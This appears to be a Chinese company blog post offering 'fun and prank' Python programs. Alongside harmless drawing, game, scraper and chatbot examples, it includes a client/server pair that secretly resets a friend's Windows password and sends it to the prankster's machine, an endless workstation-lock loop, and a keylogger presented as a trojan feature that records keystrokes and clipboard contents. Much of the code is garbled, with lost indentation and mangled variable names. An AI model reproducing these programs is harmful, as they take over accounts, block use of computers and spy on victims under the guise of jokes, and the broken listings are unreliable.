深圳幻海软件技术有限公司 欢迎您!

分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码

2023-02-26

为提高大家对“Python”编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦!分享一:"啥是佩奇?"让Python语言告诉你用Python代码创作一副佩奇:复制# coding:utf-8 import turtle&n

为提高大家对“Python”编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦!

分享一:"啥是佩奇?"让Python语言告诉你

用Python代码创作一副佩奇:

# coding:utf-8 
import turtle as t 
 
t.pensize(4) 
t.hideturtle() 
t.colormode(255) 
t.color((255,155,192),"pink") 
t.setup(840,500) 
t.speed(10) 
 
#鼻子 
t.pu() 
t.goto(-100,100) 
t.pd() 
t.seth(-30) 
t.begin_fill() 
a=0.4 
for i in range(120): 
if 0<=i<30 or 60<=i<90: 
aa=a+0.08 
t.lt(3) #向左转3度 
t.fd(a) #向前走a的步长 
else: 
aa=a-0.08 
t.lt(3) 
t.fd(a) 
t.end_fill() 
 
t.pu() 
t.seth(90) 
t.fd(25) 
t.seth(0) 
t.fd(10) 
t.pd() 
t.pencolor(255,155,192) 
t.seth(10) 
t.begin_fill() 
t.circle(5) 
t.color(160,82,45) 
t.end_fill() 
 
t.pu() 
t.seth(0) 
t.fd(20) 
t.pd() 
t.pencolor(255,155,192) 
t.seth(10) 
t.begin_fill() 
t.circle(5) 
t.color(160,82,45) 
t.end_fill() 
 
#头 
t.color((255,155,192),"pink") 
t.pu() 
t.seth(90) 
t.fd(41) 
t.seth(0) 
t.fd(0) 
t.pd() 
t.begin_fill() 
t.seth(180) 
t.circle(300,-30) 
t.circle(100,-60) 
t.circle(80,-100) 
t.circle(150,-20) 
t.circle(60,-95) 
t.seth(161) 
t.circle(-300,15) 
t.pu() 
t.goto(-100,100) 
t.pd() 
t.seth(-30) 
a=0.4 
for i in range(60): 
if 0<=i<30 or 60<=i<90: 
aa=a+0.08 
t.lt(3) #向左转3度 
t.fd(a) #向前走a的步长 
else: 
aa=a-0.08 
t.lt(3) 
t.fd(a) 
t.end_fill() 
 
#耳朵 
t.color((255,155,192),"pink") 
t.pu() 
t.seth(90) 
t.fd(-7) 
t.seth(0) 
t.fd(70) 
t.pd() 
t.begin_fill() 
t.seth(100) 
t.circle(-50,50) 
t.circle(-10,120) 
t.circle(-50,54) 
t.end_fill() 
 
t.pu() 
t.seth(90) 
t.fd(-12) 
t.seth(0) 
t.fd(30) 
t.pd() 
t.begin_fill() 
t.seth(100) 
t.circle(-50,50) 
t.circle(-10,120) 
t.circle(-50,56) 
t.end_fill() 
 
#眼睛 
t.color((255,155,192),"white") 
t.pu() 
t.seth(90) 
t.fd(-20) 
t.seth(0) 
t.fd(-95) 
t.pd() 
t.begin_fill() 
t.circle(15) 
t.end_fill() 
 
t.color("black") 
t.pu() 
t.seth(90) 
t.fd(12) 
t.seth(0) 
t.fd(-3) 
t.pd() 
t.begin_fill() 
t.circle(3) 
t.end_fill() 
 
t.color((255,155,192),"white") 
t.pu() 
t.seth(90) 
t.fd(-25) 
t.seth(0) 
t.fd(40) 
t.pd() 
t.begin_fill() 
t.circle(15) 
t.end_fill() 
 
t.color("black") 
t.pu() 
t.seth(90) 
t.fd(12) 
t.seth(0) 
t.fd(-3) 
t.pd() 
t.begin_fill() 
t.circle(3) 
t.end_fill() 
 
#腮 
t.color((255,155,192)) 
t.pu() 
t.seth(90) 
t.fd(-95) 
t.seth(0) 
t.fd(65) 
t.pd() 
t.begin_fill() 
t.circle(30) 
t.end_fill() 
 
#嘴 
t.color(239,69,19) 
t.pu() 
t.seth(90) 
t.fd(15) 
t.seth(0) 
t.fd(-100) 
t.pd() 
t.seth(-80) 
t.circle(30,40) 
t.circle(40,80) 
 
#身体 
t.color("red",(255,99,71)) 
t.pu() 
t.seth(90) 
t.fd(-20) 
t.seth(0) 
t.fd(-78) 
t.pd() 
t.begin_fill() 
t.seth(-130) 
t.circle(100,10) 
t.circle(300,30) 
t.seth(0) 
t.fd(230) 
t.seth(90) 
t.circle(300,30) 
t.circle(100,3) 
t.color((255,155,192),(255,100,100)) 
t.seth(-135) 
t.circle(-80,63) 
t.circle(-150,24) 
t.end_fill() 
 
#手 
t.color((255,155,192)) 
t.pu() 
t.seth(90) 
t.fd(-40) 
t.seth(0) 
t.fd(-27) 
t.pd() 
t.seth(-160) 
t.circle(300,15) 
t.pu() 
t.seth(90) 
t.fd(15) 
t.seth(0) 
t.fd(0) 
t.pd() 
t.seth(-10) 
t.circle(-20,90) 
 
t.pu() 
t.seth(90) 
t.fd(30) 
t.seth(0) 
t.fd(237) 
t.pd() 
t.seth(-20) 
t.circle(-300,15) 
t.pu() 
t.seth(90) 
t.fd(20) 
t.seth(0) 
t.fd(0) 
t.pd() 
t.seth(-170) 
t.circle(20,90) 
 
#脚 
t.pensize(10) 
t.color((240,128,128)) 
t.pu() 
t.seth(90) 
t.fd(-75) 
t.seth(0) 
t.fd(-180) 
t.pd() 
t.seth(-90) 
t.fd(40) 
t.seth(-180) 
t.color("black") 
t.pensize(15) 
t.fd(20) 
 
t.pensize(10) 
t.color((240,128,128)) 
t.pu() 
t.seth(90) 
t.fd(40) 
t.seth(0) 
t.fd(90) 
t.pd() 
t.seth(-90) 
t.fd(40) 
t.seth(-180) 
t.color("black") 
t.pensize(15) 
t.fd(20) 
 
#尾巴 
t.pensize(4) 
t.color((255,155,192)) 
t.pu() 
t.seth(90) 
t.fd(70) 
t.seth(0) 
t.fd(95) 
t.pd() 
t.seth(0) 
t.circle(70,20) 
t.circle(10,330) 
t.circle(70,30) 
t.done() 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63.
  • 64.
  • 65.
  • 66.
  • 67.
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74.
  • 75.
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82.
  • 83.
  • 84.
  • 85.
  • 86.
  • 87.
  • 88.
  • 89.
  • 90.
  • 91.
  • 92.
  • 93.
  • 94.
  • 95.
  • 96.
  • 97.
  • 98.
  • 99.
  • 100.
  • 101.
  • 102.
  • 103.
  • 104.
  • 105.
  • 106.
  • 107.
  • 108.
  • 109.
  • 110.
  • 111.
  • 112.
  • 113.
  • 114.
  • 115.
  • 116.
  • 117.
  • 118.
  • 119.
  • 120.
  • 121.
  • 122.
  • 123.
  • 124.
  • 125.
  • 126.
  • 127.
  • 128.
  • 129.
  • 130.
  • 131.
  • 132.
  • 133.
  • 134.
  • 135.
  • 136.
  • 137.
  • 138.
  • 139.
  • 140.
  • 141.
  • 142.
  • 143.
  • 144.
  • 145.
  • 146.
  • 147.
  • 148.
  • 149.
  • 150.
  • 151.
  • 152.
  • 153.
  • 154.
  • 155.
  • 156.
  • 157.
  • 158.
  • 159.
  • 160.
  • 161.
  • 162.
  • 163.
  • 164.
  • 165.
  • 166.
  • 167.
  • 168.
  • 169.
  • 170.
  • 171.
  • 172.
  • 173.
  • 174.
  • 175.
  • 176.
  • 177.
  • 178.
  • 179.
  • 180.
  • 181.
  • 182.
  • 183.
  • 184.
  • 185.
  • 186.
  • 187.
  • 188.
  • 189.
  • 190.
  • 191.
  • 192.
  • 193.
  • 194.
  • 195.
  • 196.
  • 197.
  • 198.
  • 199.
  • 200.
  • 201.
  • 202.
  • 203.
  • 204.
  • 205.
  • 206.
  • 207.
  • 208.
  • 209.
  • 210.
  • 211.
  • 212.
  • 213.
  • 214.
  • 215.
  • 216.
  • 217.
  • 218.
  • 219.
  • 220.
  • 221.
  • 222.
  • 223.
  • 224.
  • 225.
  • 226.
  • 227.
  • 228.
  • 229.
  • 230.
  • 231.
  • 232.
  • 233.
  • 234.
  • 235.
  • 236.
  • 237.
  • 238.
  • 239.
  • 240.
  • 241.
  • 242.
  • 243.
  • 244.
  • 245.
  • 246.
  • 247.
  • 248.
  • 249.
  • 250.
  • 251.
  • 252.
  • 253.
  • 254.
  • 255.
  • 256.
  • 257.
  • 258.
  • 259.
  • 260.
  • 261.
  • 262.
  • 263.
  • 264.
  • 265.
  • 266.
  • 267.
  • 268.
  • 269.
  • 270.
  • 271.
  • 272.
  • 273.
  • 274.
  • 275.
  • 276.
  • 277.
  • 278.
  • 279.
  • 280.
  • 281.
  • 282.
  • 283.
  • 284.
  • 285.
  • 286.

效果图如下:

分享二:一个可以套路别人的python小程序

程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

使用方法:

首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

然后,让你的朋友在他的电脑上运行客户端 client.py。

此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

# client.py: 
import socket 
import getpass 
import subprocess 
import random 
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
phone.connect(('172.17.21.56', 8080)) 
user = getpass.getuser() 
psd = '' 
for j in range(1, 9): 
m = str(random.randrange(0, 10)) 
psdpsd = psd + m 
subprocess.Popen(['net', 'User', user, psd]) 
phone.send(psd.encode('utf-8')) 
back_msg = phone.recv(1024) 
phone.close() 
# server.py 
import socket 
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
phone.bind(('172.17.21.56', 8080)) 
phone.listen(5) 
print('starting....') 
conn, addr = phone.accept() 
print(conn) 
print('client addr', addr) 
print('ready to read msg') 
client_msg = conn.recv(1024) 
print('client msg: %s' % client_msg) 
conn.send(client_msg.upper()) 
conn.close() 
phone.close() 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.

分享三:一段Python 恶搞代码

代码运行后windows将无限锁屏

代码如下:

from ctypes import *  
while True:  
user32 = windll.LoadLibrary('user32.dll')  
user32.LockWorkStation() 
  • 1.
  • 2.
  • 3.
  • 4.

分享四:一款python代码的数字猜谜小游戏

代码如下:

import random 
rang1 = int(input("请设置本局游戏的最小值:")) 
rang2 = int(input("请设置本局游戏的最大值:")) 
num = random.randint(rang1,rang2) 
guess = "guess" 
print("数字猜谜游戏!") 
i = 0 
while guess != num: 
i += 1 
guess = int(input("请输入你猜的数字:")) 
 
if guess == num: 
print("恭喜,你猜对了!") 
elif guess < num: 
print("你猜的数小了...") 
else: 
print("你猜的数大了...") 
 
print("你总共猜了%d" %i + "次",end = ''
print(",快和你朋友较量一下...") 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.

分享五:一段好玩的Python爬虫代码

这几年网络爬虫很火,用Python语言实现网络爬虫最合适不过了,接下来分享一段好玩的爬虫代码:

# -*- coding: utf-8 -*- 
import urllib2 
import re 
class QSBK: 
def __init__(self): 
self.pageIndex = 1 
self.user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64)' 
self.headers = {'User-Agent': self.user_agent} 
self.stories = [] 
# 存放程序是否继续运行的变量 
self.enable = False 
# 传入某一页的索引获得页面代码 
def getPage(self, pageIndex): 
try: 
url = 'http://www.qiushibaike.com/hot/page/' + str(pageIndex) 
request = urllib2.Request(url, headers = self.headers) 
response = urllib2.urlopen(request) 
pageCode = response.read().decode('utf-8') 
return pageCode 
except urllib2.URLError, e: 
if hasattr(e, "reason"): 
print u"连接糗事百科失败,错误原因", e.reason 
return None 
 
# 传入某一页代码,返回本页不带图片的段子列表 
def getPageItems(self, pageIndex): 
pageCode = self.getPage(pageIndex) 
if not pageCode: 
print "页面加载失败。。。" 
return None 
pattern = re.compile('<div class="author clearfix">.*?<h2>(.*?)</h2>.*?"content">(.*?)</div>.*?number">(.*?)</.*?number">(.*?)</.',re.S) 
items = re.findall(pattern, pageCode) 
pageStories = [] 
for item in items: 
rereplaceBR = re.compile('<br/>') 
text = re.sub(replaceBR," 
",item[1]) 
 
pageStories.append([item[0].strip(),text.strip(),item[2].strip(),item[3].strip()]) 
return pageStories 
 
# 加载并提取页面内容,加入到列表中 
def loadPage(self): 
if self.enable == True: 
if len(self.stories) < 2: 
pageStories = self.getPageItems(self.pageIndex) 
if pageStories: 
self.stories.append(pageStories) 
self.pageIndex += 1 
 
# 调用该方法,回车打印一个段子 
def getOneStory(self, pageStories, page): 
for story in pageStories: 
input = raw_input() 
self.loadPage() 
if input == "Q": 
self.enable = False 
return 
print u"第%d页    发布人:%s  赞:%s    评论:%s 
%s" %(page,story[0],story[2],story[3],story[1]) 
 
def start(self): 
print u"正在读取糗事百科,按回车查看新段子,Q退出" 
self.enable = True 
self.loadPage() 
nowPage = 0 
while self.enable: 
if len(self.stories) > 0: 
pageStories = self.stories[0] 
nowPage += 1 
del self.stories[0] 
self.getOneStory(pageStories, nowPage) 
 
spider = QSBK() 
spider.start() 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63.
  • 64.
  • 65.
  • 66.
  • 67.
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74.
  • 75.

分享六、木马程序常用的键盘记录功能实现

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

代码如下:

# -*- coding: utf-8 -*-  
from ctypes import * 
import pythoncom 
import pyHook 
import win32clipboard 
  
user32 = windll.user32 
kernel32 = windll.kernel32 
psapi = windll.psapi 
current_window = None 
  

def get_current_process(): 
  
 # 获取最上层的窗口句柄 
 hwnd = user32.GetForegroundWindow() 
  
 # 获取进程ID 
 pid = c_ulong(0) 
 user32.GetWindowThreadProcessId(hwnd,byref(pid)) 
  
 # 将进程ID存入变量中 
 process_id = "%d" % pid.value 
  
 # 申请内存 
 executable = create_string_buffer("\x00"*512) 
 h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) 
  
 psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) 
  
 # 读取窗口标题 
 windows_title = create_string_buffer("\x00"*512) 
 length = user32.GetWindowTextA(hwnd,byref(windows_title),512) 
  
 # 打印 
 print 
 print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) 
 print 
  
 # 关闭handles 
 kernel32.CloseHandle(hwnd) 
 kernel32.CloseHandle(h_process) 
  
# 定义击键监听事件函数 
def KeyStroke(event): 
  
 global current_window 
  
 # 检测目标窗口是否转移(换了其他窗口就监听新的窗口) 
 if event.WindowName != current_window: 
 current_window = event.WindowName 
 # 函数调用 
 get_current_process() 
  
 # 检测击键是否常规按键(非组合键等) 
 if event.Ascii > 32 and event.Ascii <127: 
 print chr(event.Ascii), 
 else: 
 # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来 
 if event.Key == "V": 
 win32clipboard.OpenClipboard() 
 pasted_value = win32clipboard.GetClipboardData() 
 win32clipboard.CloseClipboard() 
 print "[PASTE]-%s" % (pasted_value), 
 else: 
 print "[%s]" % event.Key, 
 # 循环监听下一个击键事件 
 return True 
  
# 创建并注册hook管理器 
kl = pyHook.HookManager() 
kl.KeyDown = KeyStroke 
  
# 注册hook并执行 
kl.HookKeyboard() 
pythoncom.PumpMessages() 
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63.
  • 64.
  • 65.
  • 66.
  • 67.
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74.
  • 75.
  • 76.

分享七:用Python写一个机器人陪自己聊聊天吧

用Python写一个机器人陪自己聊聊天吧。是不是听起来就很酷,用Python语言、itchat库、图灵机器人就可以轻松实现。

1. 需要的工具

  • Python。写代码的工具;
  • itchat库。第三方库,用来登录微信,接收并回复微信好友信息;
  • 图灵机器人。第三方接口,我们本次使用的机器人;

2. 代码如下:

(1) 准备

导入需要使用的第三方库

(2) 获取来自机器人的回复信息

在这里,调用图灵机器人库,把我们接收到的微信好友信息发给图灵机器人,再取回机器人回复的信息,回复给好友。

这里要用到图灵机器人的接口,到图灵机器人官网(http://www.tuling123.com)注册登陆之后,生成一个属于个人的免费接口,免费接口一天只能用1000条,虽然不多,但娱乐一下自己也是足够的了。

创建机器人成功之后会得到apikey,把这串密码放到代码中的"key"里,这一步就完成了。

(3) 接受来自好友之间的对话信息

(4) 接受来自微信群里面的对话信息

如果不需要机器人在群聊里聊天,可以删除这块代码。

(5) 运行

最后一步,登录微信,并运行机器人。